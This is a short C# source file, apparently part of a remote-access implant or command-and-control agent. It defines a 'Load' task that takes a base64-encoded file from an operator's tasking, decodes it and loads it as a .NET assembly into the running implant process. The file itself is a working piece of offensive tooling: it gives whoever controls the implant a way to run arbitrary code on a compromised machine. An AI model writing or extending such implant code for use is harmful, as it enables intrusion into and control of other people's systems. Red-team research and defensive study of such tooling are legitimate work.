23 lines
558 B
C#
23 lines
558 B
C#
|
using System;
|
|||
|
|
|||
|
using Implant.Models;
|
|||
|
using Implant.Utils;
|
|||
|
|
|||
|
namespace Implant.Tasks.Execute
|
|||
|
{
|
|||
|
class Load : ImplantCommands
|
|||
|
{
|
|||
|
private byte[] assemBytes { get; set; }
|
|||
|
|
|||
|
public override string Name => "Load";
|
|||
|
public override string Execute(ImplantTask task)
|
|||
|
{
|
|||
|
|
|||
|
assemBytes = Convert.FromBase64String(task.File);
|
|||
|
|
|||
|
var assem = LoadFunctions.LoadAssem(assemBytes);
|
|||
|
|
|||
|
return $"{assem.GetName().Name} loaded into implant process";
|
|||
|
}
}
|
|||
|
}
|